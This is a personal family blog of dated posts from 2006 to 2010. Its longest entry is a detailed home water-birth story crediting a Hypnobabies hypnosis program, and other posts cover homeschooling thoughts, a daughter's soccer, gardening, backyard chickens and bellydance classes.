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March 18, 2010

Welcome Charlotte Minerva Daniel - Born March 16, 2010

Filed under: family — suzanne henderson @ 1:24 pm

Charlotte Minerva

Name: Charlotte Minerva Daniel
Date: March 16, 2010, 11:05am
Weight: 10lbs, 9oz
Length: 22.25 inches
Head Circumference: 15 inches

Charlotte was born at home in the birth pool with Mom, Dad, and midwife present. Older sisters Alex (14y) and Sara (20m) were playing downstairs and welcomed her shortly after she arrived.

Birth Story, for those interested….


I decided I wanted to try something different to prepare for this birth. With Sara’s wonderful homebirth, I remember feeling like I wasn’t really in control of the experience as much as I wanted to be and that there was more I could have done to make it more empowering feeling. It certainly wasn’t a bad birth, heck, Sara was 10lbs,1oz born at home with no tearing, but I still remember feeling like I could have done better for some reason. So this time I decided that I wanted to try the Hypnobabies hypnosis program that I’d heard recommended many, many times.

To be honest, I wasn’t sure it was going to work and was nervous that I was going to be out a lot of money for something that might end up being useless. Also, because we decided to go with this program, we chose to not have our awesome doula from last time come for financial reasons — that was a hard choice to make. I started using the program at 30 weeks and was diligent about doing the practices every day. Luckily, having a napping toddler made it fairly easy to get the daily tracks in. The last couple weeks, I was usually listening to things twice a day and had learned some wonderful relaxation techniques that helped me get some decent sleep when my body would allow.

I was very excited about going through labor again, which I attributed to the hypnobabies programming (aka brainwashing, but hey - it’s a good kind of brainwashing). This was also a very easy pregnancy - very little to no morning sickness, no overwhelming exhaustion, and mostly SPD-free for the entire pregnancy too. People kept telling me I was having a boy just because it was such an easy pregnancy compared to Sara’s, but I wasn’t so sure. I had boy thoughts during the beginning of pregnancy, but towards the end I noticed that all my baby thoughts were “her” and “she” based and figured we were having another little girl — though I wasn’t as sure as I was with Sara.

Labor, or not?

So labor started in the middle of the night on Monday or the Thursday before - depending on how you look at things. Thursday night before, I was having very consistent contractions 10 minutes apart all night long. I really didn’t want labor to start then, though, because 1. it wasn’t the 20th yet (my preferred birth date) and 2. Chris and I were supposed to meet his visiting friends from high school for lunch. Friday morning came and the contractions went… and so the pattern began that I’d have contractions each night that would mostly vanish during the day. By Sunday, I was getting pretty frustrated with this pattern because it left me feeling unsure about when things were going to happen and anxious to get going. I didn’t like feeling impatient about birth and preferred being comfortable waiting for it to happen. Monday, during the day, I had more contractions than before, but again, it wasn’t going anywhere. Before leaving work on Monday, Chris wanted to know if he should bring is laptop home (in case labor started, he could work from home as needed), and while I didn’t think anything was going to happen, I figured it was a good plan just in case.

Even though the contractions I was having were pretty inconsistent, I knew they were doing something. I figured my body was slowly dilating and effacing in the on-again-off-again ordeal. I also had a mucus plug that would not end — I joked about how much came out, sometimes clear and occasionally streaked after a few stronger contractions.

Labor and Hypnosis

Monday night. before going to bed, I was reading up on birth stories and the Hypnobabies listserve stuff and ran across a reminder to be using hypnosis for the small contractions and to be careful of not waiting for the things to get serious before starting. This perfectly timed reminder helped wipe away the apprehension about the program that had developed, mainly because I hadn’t been using hypnosis for the random, sometimes sharp contractions. Once reading that ad practicing with smaller contractions, my confidence and excitement returned.

At some point in the middle of the night, I realized that contractions were picking up consistency and intensity. Hypnosis was still keeping me very calm but falling in and out of dreams was making things confusing. I started to wonder how close together things were, but wasn’t coordinated enough to use hypnosis, watch the clock, and stay awake. I tried waking Chris at one point, probably about 5am I think, but when that failed I just headed to the shower. I have no clue how long I was there, but I know I was very grateful for our endless supply of hot water as I refilled the tub at least once. While in the shower, I trued to check my dilation; all I could determine was that I ws probably about 50-60% effaced… at least something was happening. I thought.

I was still curious about the spacing of contractions, so I finally headed back to bed to wake up Chris for real this time. We laid in bed a bit timing things and he was reporting that they were 4-6 minutes apart and I got a little nervous… that was “call the midwife” kind of timing. So, we ended up getting out of bed a little before 7:00am because it was time to test if they were going to fade away again like before. Being up and around didn’t run them off and I was able use the online contraction timers to get better numbers for how far apart things were: 3-5 minutes apart.

Monday I’d called my mw’s office to check up on our scheduled homevisit and was told she had 2 ladies going. I figured not being in labor then was a good thing, but I’d hoped those women had delivered and she’d gotten a chance to sleep. I had planned to call her at 8am, but the timing was making me nervous. I was really torn at this point — using hypnosis, I was very comfortable during contractions. I honestly had no pain in dealing with them and all the cues I’d learned were working wonderfully. My logical brain was telling me that things were pretty close together and I better have her head over, but I was worried it’d be a false alarm.

I caught my mw as she was on her way home from a birth — so no, she hadn’t had any sleep yet. I apologized but said that I was going to need her as well, but we’d have a space for her to nap until we really needed her. She altered course (she was in the car) and showed up about 8:40am. I was sitting downstairs when she arrived, listening to my hypnobabies Easy First Stage track and enjoying contractions that were now about 3 minutes or less apart. We chatted as though nothing was happening in between contractions and I’d flip totally “off” each time one would approach. I was still a little nervous about things stopping or not being the real deal because I was so comfortable.

While waiting for the midwife to arrive, Chris began filling our new birth pool - a 100-gallon stock tank. For Sara’s birth, we’d used a kiddie pool that lots of homebirth mom’s seem happy with — but it wasn’t a success for me. In the kiddie pool, the water didn’t even cover half of my belly, which basically defeated the point. In researching new birth pool options for this birth, I’d come across some photos of a stock tank that had been padded with pillow/cushioning and lined with a white sheet and plastic (to make it easier to see bleeding and such since the stock tank is black). It looked like the perfect option because it was cheaper than other pools of a similar depth by more than $100 and we would be able to find a use for it later.

After 30 minutes or so of chatting with mw, we headed upstairs to do a heartbeat check and I went ahead and had her see how far along I was. This was a scary point for me, because while contractions were coming pretty fast, they weren’t painful — surely this was all a joke of some sort and I still had days to go or something. But my mw was very happy to report that I was already at 8cm, 100% effaced, with a bulging bag of waters! I was ecstatic, that was great news! With Sara’s birth, I remember her telling me I was at 7cm and being devastated because I felt like I was reaching the end of my rope and there was still so far to go. With 8cm and still no pain, I knew things were going just as planned.

I hopped in the pool and it felt blissfully wonderful! The midwife went off to nap and let me do my thing. I was so happy and excited at this point. Chris would come and touch my arms or face when I’d turn off for a contraction and just be there next to me. It felt wonderfully loving and connected this time because I was in such a happy state of bliss at this point. I knew that if I wanted things to kick up a bit more, I could try breaking my water, but I enjoyed the bit of snuggling I was getting, the perfectly warm water, and working with the contractions as they came.

Laboring in the tub, I selected positions I’d purposely avoided last time because they felt too intense. Using the hypnobabies cues, I wasn’t worried about the intensity at all and was excited to meet our baby. The tracks really helped me stay focused - during a contraction, if I’d start to feel a little overwhelmed there would always be a perfectly timed suggestion that would help me refocus and stay comfortable. About an hour into the tub, I felt a gush of water and realized that my water had broken. I figured that pushing would start pretty soon and was anxious for Chris to get back to me — at the moment he was looking for options to drain out some water because it’d gotten a little chilled and the hot water we added put the water level a little closer to the edge than we wanted. When he came back, I let him know that my water broke and that solving the water level problem wouldn’t be an issue since our little one would be arriving soon.

I had Chris switch Hypnobabies tracks to the Pushing Baby Out and it seemed perfectly timed that the next contraction I began to feel the change in labor to some pushing feelings — just as the audio track commented on how labor would start to feel different. It took about 20-30 minutes to feel more pushing-like contractions, they weren’t super intense but I would vocalize through them and try to work with my body. One suggestion in the track was also that I’d be smiling either during or between contractions and I remember laughing at that because it was true. In between contractions always felt so calm and comfortable, I was willing to talk and chat and laugh. I had Chris wake the midwife up to join us because I knew when pushing got really serious, I wouldn’t want Chris walking away to get her then. I still feel like this was a painless birth experience so far and was still happy and excited. For one pushing contraction, when things were getting more intense, I reached down to see if I felt anything yet and ended up finding a huge gush of mucus and doubled over laughing, mid-contraction and all. Silly me had commented on Sunday that I didn’t think I could possibly lose any more mucus and my body continued to prove me wrong on that statement time and again.

I played around with different positions to push in to see what would be the most effective. The midwife set up a little area outside of the tub commenting that I also might want to get out and push — or might need to get out if we ended up with another instance of shoulder dystocia. I knew that I did not want to get out of the tub to push, so I kept moving around a lot during contractions. Finally, I stood up fully and the midwife commented that would let gravity help out and she was right… the contraction that followed was a no-joke, time-to-really-get-baby-out contraction… I went back to squatting in the water pretty fast once it hit and boy did it hit. There was no using hypnosis at this point, there was no gentle breathing baby out, there was just straight up pushing with the lovely yelling that helped get the job done. I yelled a bit about wanting to slow down a little just because I didn’t want to tear, but the babe’s head came out pretty quickly. And then there is the wait, the uncomfortable, awkward wait for the next contraction. I knew I’d really need babe out then and felt a bit reassured that her head was out in just one major push that things were going just fine — with Sara, it took many contractions and pushing to get her head all the way out. So waiting for the next contraction, I’m working up my resolve to push really well to get those shoulders out, trying to be patient as I’m in a most uncomfortable and awkward squatting position, and thinking about how there is no way that I’m going to be climbing out of the tub with a head between my legs (what would be needed if we felt her shoulders were stuck). The next contraction comes and with some good strong pushing, I feel that freeing gush of baby fully out — wow!

I pull her up from the water and carefully work so I can get in a reclining sitting position. She’s covered in vernix, more so than Sara was, and just looking as peaceful as can be. It was so nice to get to just rest there in the water holding her, watching her, getting to know this new little person. I took a moment to check her sex as I thought I’d felt boy parts as we were getting situated, but was happy to see that it was another girl that I’d been expecting. Chris eventually had to mention that while I checked, I hadn’t bothered to tell anyone else if it was a boy or girl, so I got to share that he had another daughter. Alex and Sara came in to see the new baby and Sara was all about saying “Baby! Baby! Baby!” and hasn’t stopped since.

We hung out in the pool for a bit, me mostly resting and looking at the vernix covered baby. I decided I wanted to get out of the pool to keep a better eye on the bleeding since I kept feeling lots of gushing while sitting there. Getting out of the pool with the baby and no energy was amusing since the cord was still attached and not exceptionally long — but we made it work. We moved to the bed to deliver the placenta and to rest some more. We waited a little while after the placenta was out to cut the cord this time and used ties instead of the hard plastic clamp.

I felt much more exhausted this time following labor and feel like my recovery has been a bit slower. But even being exhausted, I was certainly on a birth high of being just amazed at how well the hypnobabies worked. It was an absolutely amazing and comfortable birth!

We took a while to pick a name — something we hadn’t even discussed yet — because she didn’t open her eyes until about 7pm in the evening. We finally settled on a name and have been snuggling and nursing ever since.

July 28, 2009


Filed under: family, life — suzanne henderson @ 12:09 am

a dear friend has pointed out how silent this site has been. It’s not for lack of desire to write, I often come up with something I’d love to share as I’m driving down the road or otherwise out and about and not near a computer. And I can’t say that it’s a lack of time online that is keeping things so quiet either since I still manage to spend way too much time on the computer each day. I guess I’ve just felt that there was no one listening anymore and that there wasn’t much to say.

Life is busy and it’s been so long since I’ve found inspiration for written commentary, I’ve wondered how I ever found it possible to write at all. Sara turned one last week and I can’t really say where that year went. It’s gone both super fast and excruciating slow at times. Tonight is one of those slow times. We’re up now, almost midnight, after a couple hours of crying when I finally gave up that sleep was ever going to happen and decided to drag us both back downstairs. Now she’s playing with a pair of starry socks and taking bites of yogurt here and there as I wonder when we’ll get back to bed.

This is soccer training camp week for Alex, so she’s on the field all morning long Monday through Friday this week. Next week regular practices start back up after a nice little break. Just a few short weeks from now will bring us to the Gettysburg Tournament and then weekly games will start again. I’m also signing her up to play rec (she’s been playing travel/competitive soccer this past year) with some of her friends as well, though that coach realizes that her primary team takes preference. I don’t really think she needs more soccer in her week, but it’s something she loves and wants to do, so why not? The rec games and practices she can ride her bike to and manage on her own time, so it’s not as much of a commitment from the family. It’s the 4 hours a week of travel team practice and the games that can be in another state on the weekends that takes the commitment from all of us.

Our old house hasn’t falled over yet, though I often wonder if it might just happen out of the blue. We still have half of our sad tree threatening to collapse on us at any moment. The garden grew in possibility this year but not in actuality. We have garlic curing in the shed, lettuce has all finally bolted to seed, and broccoli is probably on hold for the next few weeks. I think we managed to plant about 16 tomato plants, a couple pepper plants, and we have a rouge squash plant emerging from the compost bin. They’re all poking along and soon we’ll have some more fresh produce for the table. Fall might bring some cabbage and brussels sprouts since they’re always so slow going when started in spring.

Our adventures in chickens has been very depressing this past 2 months. We lost 6 chickens in that time and are now down to just one lonely bird. I’m very disappointed in the entire process and our complete failure to manage the chickens properly. I’m not sure if we should keep the lone bird or let her join a friend’s flock. A fox and maybe the neighbors dog got the majoirty of the birds and our own stupidity got one (well honestly, our stupidity caused the loss of all of them, but one getting caught in our own trap was a whole different level of dumb). Alex and I killed and processed that bird and the meat is still in my fridge — I’m not sure if I’ll be up to cooking it anytime soon.

My sewing business keeps me busy as I’ve added a monthly market and a weekly farmer’s market to my grouping of shows. I feel like I’m always behind and that I’ll never catch up. Some days I want to just give up completely and just sew up all the fabric I have and give items away for free. But our budget isn’t going to let that happen anytime soon. Plus, I have so much fabric, that task would be another job in and of itself. I am pleased that things are going so well though, not everyone that works from home can say the same lately.

Well Sara is blowing raspberries on my leg, not sure if this is a sign that she’s ready to sleep or that I might need to take a cot to the soccer field to catch up tomorrow instead. Hopefully we’ll be to sleep soon and hopefully I’ll post again before 6 months or more passes.

January 18, 2009

yet another creative passion…

Filed under: creative, family — suzanne henderson @ 1:57 am

p.s. (yes, I’m putting the post-script first.): I still don’t have time to breathe, 3 months since my last exhalation seems about right.

Several years ago, about six I’d guess, I started talking dance with a dancer friend of mine — we wanted to take some classes in tribal style bellydancing. In fact, I signed up for a workshop in PA, made a skirt, and got all excited to go. The weather or general craziness kept me home, I don’t remember which, I just remember a last minute decision with my friend that we wouldn’t be making the trip. There were a few more attempts at taking a class, but beyond the one random class in Hampden, nothing ever came of this desire for myself.

My friend however went right along with the dancing and before long she was also teaching bellydance. I kept trying to take one of her classes, but life always got in the way — perhaps just as expected for single-parent-college-students without extra time or funds. During this time, another friend also started to take classes, though I was aware of this peripherally through her occasional posts since we also never spoke or really saw each other during this time, or since for that matter. But I recall the tinges of jealously as I saw her progress from the first class or two to a deep induction to the art and eventual transformation to performer and teacher. All along, I’ve constantly thought that if I’d just taken those classes or workshops, I would be where she is now.

I’ve been a member at our local gym for a year now and knew they had weekly bellydance classes. I wanted to at least try one out to see what it was like, but shyness got in the way. By the time I felt I was ready to get past my nervousness, I let a silly thing like pregnancy talk me out of taking the class (well more like morning sickness than the pregnancy). A couple weeks ago, a woman on my local parenting list mentioned that she was going to be teaching a new bellydancing class at the gym. Woot! Here was my chance, but I was still rather timid. I inquired as to the style, mentioning that I was really only interested in the tribal style of bellydance, figuring this would be an easy out of actually attending, but sure enough that is exactly what she would be teaching. I said I would be there and felt excitement brewing.

I think I tried to mention the class to Chris at some point, but it was always the wrong time to discuss upcoming obligations amongst current obligations. In fact, the conversation got pushed off until the night before the first class when I crawled into bed around 2am. I casually mentioned to the minorly-coherent man that I wanted to take a bellydancing class that was taking place the next evening and asked if he could make it home in time so I could go. Somehow that actually worked, perhaps it was late enough to just melt into his subconscious, and at 7pm the next evening, I was on my way to class.

As expected, I loved the class. It was the break out of the house I’d been needing since Sara’s arrival. It was the motivation back into physical movement that my mind-body connection was desperately asking for. It was the exact style of dancing that had been calling to me for six years. I loved it so much that I decided I wanted to take the class 2 nights a week (another instructor was teaching the ongoing Friday night class), but wasn’t sure how I was going to make that work with the baby. I knew I couldn’t ask Chris to consistently make it home early two nights week (lets ignore the fact that I really don’t find 7pm to be *early* at all). So I had to come up with a way to take Sara with me.

I considered asking Alex to come and watch her, but that didn’t really sound like an ideal situation. I knew Alex would hate being asked and I was pretty sure I’d regret asking as well. I debated what kind of bribe I could offer her, but knew that wouldn’t work out for very long. I briefly considered the gym offered childcare but I realized I’ve gotten pretty crunchy and sending my baby off to their care facility sounded like torture (yes, I’m sure it isn’t, but there are many reasons why I thought it would be for a little 5 month old infant!). So, I wondered if I could just take her to class.

I’ve fallen into the wonderful world of attachment parenting and the beautiful art of babywearing. Since Sara’s arrival, she’s spent much of time in a sling or carrier or wrap of some sort. As she’s grown and my confidence has grown, she’s been spending more and more time in a carrier, usually on my back I as I get housework or sewing work completed. So I wondered if I could just wear her during the fifty-minute class.

I jumped online to see if anyone had ever talked about babywearing while bellydancing and sure enough someone has — now, was that really a surprise? The internet also provided a photo tutorial for Alex when she had a dead mouse in hand and was going to skin it for it’s pelt - I thought for sure ‘ask google’ would have turned up nothing in that situation. Either way, the internet provided what I needed to know, it was possible and I figured that if someone else could do it then I could give it a try.

Just a couple days after my first class, I was frantically working on a new wrap carrier that would better coordinate with the bellydance costume (this is still me we’re talking about here, of course it had to coordinate!). I also spent the morning with Sara on my back trying all the different moves we’d already learned and more that I found on you tube, just to make sure my body would cooperate. I was confident I’d have no issue wearing her for the duration of the class and figure it’d be an excellent work out with her extra 20+ pounds to shimmy around. However, I wasn’t so sure that the class instructor would let me wear me in with her on my back.

I was so scared of being turned away, that I timed my arrival so I’d sweep right in as class was starting, hopefully unnoticed. I figured that if I showed up with complete confidence in attending the class and with Sara securely fasted to my back, that no one would say a thing. To do this, I had to get Sara all wrapped up outside in the freezing cold while working around the dancing costume as well. That wasn’t much fun, but it got the job done. I swept into class with full confidence and was instantly the center of attention - so much for sneaking in unnoticed. But, all I got were smiles and Sara got even more — no one said anything negative about her being there. In fact, partway through the class, the instructor even stopped to express her joy at seeing me wear her to class. At the end of the night all I could think was “Wow, I did it!”

June 5, 2008


Filed under: family, life — suzanne henderson @ 10:49 am

I’ve been obsessing over homeschooling Alex again for the past couple months. I am very committed to the idea, but I’m the only one. Alex enjoys school, though it often amazes me when I consider all of her negative comments about the classwork and other students. Homeschooling without her support would be a challenge, but I’m hoping to get her interested in at least trying the idea for a year. My first plan was to give a test run over the summer, and I might still do something like that, but I’m really more interested in the student-led-learning approaches that we didn’t do last time. If we go that route, there isn’t really a lot to “test run” in the summer. Also, since she’s been in school so long, I agree with the idea of an extend period of “deschooling” to break out of the mental mindset that school has built up. This means that we could have many months where it seems like nothing at all is happening. Bracketing that on top of summer break seems counter intuitive since she’s expecting a break from all things school anyways.

There are lots of arguments against homeschooling and whether or not we’ll have the time to do, especially with the little one arriving soon. But, since I’ve never really supported the “school at home” approach, I’m not as worried about that. Alex is old enough to do mostly self-driven work at this point, though I’m sure she’ll need some motivation, and that is a lot less time intensive than sitting down to math, reading, spelling, writing, science, ect, every day. Instead, I’d like to take the approach that we didn’t take last time - unit driven studies that really let her dive into topics. I’ve noticed her doing this independently more and more lately and would love the opportunity to really support her interests and help her find even more ways to gather information.

Alex’s biggest concern against homeschooling is the lack of having gym every day. It’s pretty odd that she has gym every day now, but I guess Carroll County is one of the few school systems that still value daily physical activity. I’ve yet to verify that this will still be the case next year. But, if that is the only argument she has, it’s not a very reassuring one, from my point of view. Especially considering how we can add more physical activity to her schedule - including archery that she’s been wanting to do - if so much of her day wasn’t filled with being in school.

As school is winding down, I’m wondering more and more if this is going to happen for next year. I really want it to, but also won’t force it on Alex either - that’d be an invitation for disaster if I tried. Hopefully, she and I will have a chance to talk some more about it and also reassure her that it won’t be the same as it was the last time we tried it. Maybe I can get her interested in giving it a try for a year at least.

March 23, 2008

homeschooling alex

Filed under: family — suzanne henderson @ 8:10 pm

I’ve been coming back to the idea of homeschooling alex again and again. It seems very clear that this is something I want to do, but I also know that it isn’t that easy of a decision to make either. We did the homeschool thing once before and it wasn’t fun. Also, alex and I don’t get along perfectly, or anything remotely close to perfectly, and I know that homeschooling could really tread on that relationship. Also, next fall will involve a whole new family dynamic that I also need to take into consideration.

But, even with all the reasons not to, I still keep coming back to this feeling that it is something that would be a good thing to do for her. I’ve spent many years fully supporting the idea of public school and wanting to be sure my children went to public school, but the reality of the situation has proven time and again to not live up to my expectations of what children should learn. It seems like schools have lost the ability to teach children and are now simply catering to the testing requirements mandated by state and national measures. I don’t see anything in the schools the resembles the educational foundation that I feel children should get. Testing requirements continue to erode the overall curriculum and all that is left is just math and reading and few regurgitated facts.

Add to this continued disappointment in public schools - and the schools we’ve attended are actually decent school comparatively — is the fact that alex really struggles with getting challenging work and being engaged in her school work. Because she rarely completes out-of-class assignments, her teachers have begun taking that as a sign that she can’t do the work. The reality is that the work isn’t engaging and she doesn’t want to do it. Because she doesn’t do her homework and sometimes her school work, her teachers said that they will not allow her to continue in the advanced classes next year. She’s already bored with the work in these classes, I can imagine how much work they’ll get out of her next year when she basically repeats the material she’s doing now.

So, my frustration with the schools is really making me want to try this homeschooling thing again. but, I also can’t shake the fact that this might be a serious challenge. Talking to alex about it isn’t all that encouraging either. On one hand she wants to stay in school so she can go to PE every day — yeah, as though that is a reason to stay in public school — and then she’ll be all over the homeschool idea for un-encouraging reasons, such as wanting to go on field trips her her friend. I try to paint realistic pictures of what homeschooling would be like, but she constantly swings on pendulums in understanding and listening, it seems.

So, for now, it’s still and idea, an idea that should be best left untouched, I feel. But, we may give it a test run over the summer - something alex isn’t excited about, but i want to see that she will do the work involved before trying to do it full-time. Of course, there is still the time issue and the fact that this is probably more than I should take on right now.

January 14, 2008

car and alex update

Filed under: family, life — suzanne henderson @ 2:14 pm

I drove my new-clutch-enabled car this morning and ummm… ick. I LOVED my old clutch and how it functioned — much different than every other stick shift I’ve driven. It was relaxed, laid back, and provided the perfect amount of counter-pressure and length of engagement for a comfortable drive. When driving other people’s cars, I was always annoyed at their tight, stingy clutch. Most people who drove my car didn’t seem to care for the attributes I enjoyed either.

So now, I have a clutch with zero counter-pressure — it feels like I’m engaging air or something, no distinct, non-subtle signs of engagement. Also, it’s much shorter than before and seems pretty insistent in being pushed all the way to the floor (I have a long clutch, too the floor is quite a distance previously reserved for starting the car only) for every shifting activity. And, well, it’s just different. I’m going on 9 years and 150,000+ miles on my car and during that time I’ve gotten very acclimated to my clutch. Now, I’ve basically got a while new car and I’m not happy about it.

Oh well, it’s shifting and running beautifully now, so that is a big plus to be happy about. I’m sure that within the week I’ll barely notice the difference.

As for Alex’s issue with the field trip form, I’m very pleased to report that once she got past the tears of outrage, she finally figured out a solution — without any urging from me. Instead of sleeping in the next morning (bus normally arrives at 7am, dentist wasn’t until 10), she got up at the same time and ran up the street to ask a friend to bring her a copy of the form home from school. What a simple solution and I’m so glad she figured it out. She got the form from her friend that evening and went off to school the next day with money and permission to go on a just-for-fun school-wide field trip (along with new “fangs” as she calls ‘em — lookup the Mara appliance if you’re curious).

January 8, 2008

cost of responsibility?

Filed under: family — suzanne henderson @ 6:23 pm

Oftentimes, I think I’m a bit strict with Alex. For example, I just got an email from the school about a school-wide field trip. Seems permission slips were handed out yesterday and are due tomorrow or Thursday along with $20. It sounded like a fun trip and I was surprised that Alex hadn’t mentioned it. As we were going over homework, I brought it up and ask why she wasn’t asking to get it signed.

Of course, she’s managed to lose it already and insists that she’ll just bring it home tomorrow. Well, she wasn’t supposed to be going to school tomorrow due to a dentist appointment followed by an orthodontist appointment (and the insertion of a new appliance). So Alex freaks because she won’t get it returned in time — she doesn’t take a moment to think up other solutions, she just storms up to her room in tears.

Part of me, the nice part I guess, wants to offer suggestions that I’m sure will work. The other part, the more typical mean part, just wants to call it a loss since she didn’t think it was important enough to be responsible for. I certainly wouldn’t be the end of the world to miss a field trip — of course, there are other options that she just isn’t considering.

Perhaps I’ll send her to school in the morning anyways, but pick her up at about 8:15 or so. That’ll give her a small chance to solve the problem if she’s actually paying attention. I don’t really feel moved to suggest she make sure she takes care of it and instead view it as a second chance at being responsible. If she still hasn’t remembered the form upon pick up, perhaps too bad. Or, I just get the form while I’m there, but that feels a lot like enabling poor responsibility.

(this is where I should also remind myself she’s still just a kid)

December 30, 2007


Filed under: family, life — suzanne henderson @ 3:25 pm

When I manage to get some sleep, it’s usually pretty full of dreams. They vary from neutral or positive to outright terrible. Mostly they are vaguely ominous or just plain frustrating. Rarely, I get the chance to have conversations with those who’ve died. I really like these dreams because it feels like touching base with someone I miss a lot.

I dreamed of my dad last night who’s been gone for almost 10 years now. It was nice talking with him about the house and how life is going. We wandered through his garage just chatting and being next to each other. I told him about Chris and how much he’d like him if he could meet him. During these dreams, I can’t tell it’s a dream and assume that it’s just real life. So I asked him to come out for a visit so he could spend some time at the house, get to know Chris and see how much Alex has grown. “I know you don’t drive anymore, but you could fly out,” I wanted him to know. Then confusion set in as I pondered why he didn’t drive anymore. At that point I remembered he was dead and realized that flying was probably out of the question as well. Instead of abruptly ending the dream, we just hugged and I walked away. I woke up for a bit, but fell back into the dream and was back at his house, seeing all his things, but he wasn’t there anymore. I woke up and told Chris of the dream, how nice it was to talk to my dad and how I do wish they’d met.

December 26, 2007

christmas passed

Filed under: family — suzanne henderson @ 11:28 am

I dislike christmas more and more every year. Yesterday, I was pleased to see it end at 4:30pm as we departed Chris’ mom’s house and headed out for some all you can eat sushi and chinese (yum!). It was a great dinner with lots of friends and I at just enough (and maybe one bite more). We skipped the movie-to-follow and headed home for some movie watching of our own.

though I don’t care much for the holiday, the mornings started out well. Chris got me way more than he should have, and I gave him but one real thing and a second place holder. But I certainly got my fix on crafty, coking, techy and fun stuff from him - plus the one thing I actually wanted! I made cinnamon rolls that we were eventually able to eat once they finally puffed up enough to go in the oven. I also made a batch of brownies because the previous night of baking only produced the dough for the rolls, a batch of choc-peanut-butter fudge, and some special alex cookies.

I wanted to skip the visiting of the family, but Chris seems pretty stuck in that tradition and so I gave in. Also meant baking up a batch of gifts as well for his mom and brother’s family. I think that they are well received and they even asked about a future repeat his previous gift tradition of sugar cookies. I don’t do sugar cookies, but Chris sure can. Of course, thats not high on my list of things to motivate for because I don’t actually like sugar cookies. :)

alex got a few things, including one of those webkinz-fad things. As if she needs more reason to be online. it was a nice christmas, even if I was secretly wishing it wasn’t going to happen. perhaps next year will bring a renewed sense of holiday cheer to revive the festive spirit.

October 20, 2007


Filed under: house, family, life — suzanne henderson @ 4:39 pm

I’ve had a hard time getting moving on getting things done lately. I recently bought Rescue Remedy, a natural anti-anxiety/stress reliever, and have found it to be pretty useful today. I got over my intense fear or dislike of getting work done when anyone is around and have managed to get the pantry mostly dissembled, reconfigured, and reorganized so that I may finally get my kitchen unpacked. I plan to whip up a very, very yummy dinner tonight as a reward for staying home. Steak au Poive, mashed potatoes, pan roasted broccoli, and homemade dinner rolls.

Chris is almost always getting stuff done and today is no different. He welded up a homemade paint remover dip tank for stripping the paint off window stops and trims. I need to post a pic, it’s pretty neat. He’s been working on getting paint stripped — far faster than I’ve been painting — and also welding a few tiny pin holes they we found in our freecycled fuel tank. It’s getting about time for us to get the tank switched out and get it filled up for winter and he’s been busy cleaning the “new” tank out in preparation for welding the holes. Somehow, in the middle of all this, he’s also managed to de-rust-ify the shelves of this tiny little freezer we got from the neighbor and I plan to start making double batch dinners so I have something in the freezer than will geed us when I don’t feel like cooking. Plus, we need to start stocking up on sale items to help stretch our dollars a little further too.

Overall, it’s turning out to be a pretty productive day. I guess I better get this bread started and finish putting the pantry back together.

August 10, 2007

mouse pelts, ick

Filed under: family — suzanne henderson @ 10:32 pm

We’ve got mice in the new house and finally put out traps last night. Sure enough, we found a dead mouse in the morning. Seems like a simple enough issue, but suddenly Alex is wanting to know if she can skin it. What?! She wants the fur/skin of the mouse and Chris is encouraging her to figure out how and have set aside the mouse for possible butchering tomorrow. ick!

April 28, 2007

summer options for Alex

Filed under: family, life — suzanne henderson @ 7:21 pm

Since summer is fast approaching, I need to figure out what were going to do with Alex. Normally this is a simply process: ship her off to Oklahoma after camp. But, since there will be no oklahoma this summer (due to recent behaviors, we’ve decided she needs to stick around home), I’ve got to find other options.

To furthure complicate matters, there are a few relevant variables up in the air that can affect our summer activity choices:

1. Where we’ll be living! Supposedly we close on our house in June - but I know that all sorts of things can go wrong - and nothing is certain until keys are in hand.
2. Where I’ll be working! Maybe I keep the job I hate, maybe I move on.
3. What we can afford! Well, this isn’t really a big factor since we can’t afford summer-time care but we also can’t let miss untrustable stay home during the day either.

We drove up to the house for the termite inspection (sigh, it’s got bugs) and looked around the area and local library. I came home with a whole mes of fliers, magazines, and pamphlets of youth summer activities. So, our summer options currently include (assuming we move as expected):

1. Catoctin Quaker Camp - this is a given and will be Alex’s third year. The camp is awesome and I feel that it is an exceptional place for Alex to be. It also comes with a pretty steep price tag of $900 for the two week sleep-away camp. Thankfully we’ve actually received consistent-enough child support to cover it!

2. Time for Kids Summer Camp - located in Eldersburg, Maryland - just a few miles east of the house and seems to have lots of exciting activities that interest alex (sports, swimming, archery, horseback riding, crafts, etc). It looks like the price is $157/week. I’ll be calling them next week to learn more since their website (www.timeforkidssumercamp.com) isn’t working.

3. YCAMP - YMCA Summer Day Camp options. There are a variety of camp options that we could consider including a general day camp ($140/week) or specialty day camp programs ($160/week): sports, environmental science, soccer, swimming, art, or drama. These rates assume a family membership and we’re considering joining.

4. Freedoom Area Recreation Council Camps/Clinics - Located in Eldersburg, there are a variety of programs available during the summer; however the programs are not full day programs. The basic general camp is $140 for two-week session, 9:00 a.m. - 12:00 p.m. There are some sports programs, but the fees are not obvious.

Thats all I’ve found so far — hopefully more options will appear. However, we’d probably consider the YMCA programs, but if I’m still working in Columbia, that will be logistically difficult as the YMCA is north of our house. However, perhaps a position in Westminster will open up and I can work it into a new commute. So many things up in the air, makes this kind of planning a little more difficult.

December 6, 2006

technical mind glaze

Filed under: family — suzanne henderson @ 7:03 pm

I am coming to the reluctant realization that I am not a geek. I was once a geek, but that reality has faded into jumbled collection of code-unreadable. When I met Chris, I was thrilled to find someone else who was not a geek — well, kind of. I was ecstatic to find someone that didn’t have a laptop tether to their wrist for a large chunk of the day. I loved how we’d talk about all sorts of strange things that never involved computers or the internet, to some degree.

That really hasn’t changed, but there is an ever increasing technical element that sometimes oozes out and drowns every interest receptor I have. Now, I’m glad that he can make sense out of all this antenna stuff - it is great when you’re working at an antenna design firm. But, when it comes down to explaining the intricate details — I really don’t want to hear it. Also, when I excuse myself from the conversation about blah-da-phase-beam-du-da-array-whatcha-call-it, I really don’t expect to have the intricacies described, with imagines and charts, as a way to bring about understanding and engaged participation.

It doesn’t help that all this antenna work really just looks like someone decided to doodle out geometric patterns with a copper pen. Nothing they make looks like my impression of an antenna. The only development I’ve seen, even remotely resembling an antenna, would easily be confused as a clothes drying rack. But, antennas is what the man does and I’m just gonna have to hear about them. And, I guess, it’ll also be my place to sympathize when a finished measurement is just one or two centimeters too big and an entire years worth of work must start back at square one. Yes, I want to be supportive and clearly need to work on putting an interested face on when these topics of conversation surface.

October 31, 2006

boo! hoo! hoo!

Filed under: family, life — suzanne henderson @ 7:57 pm

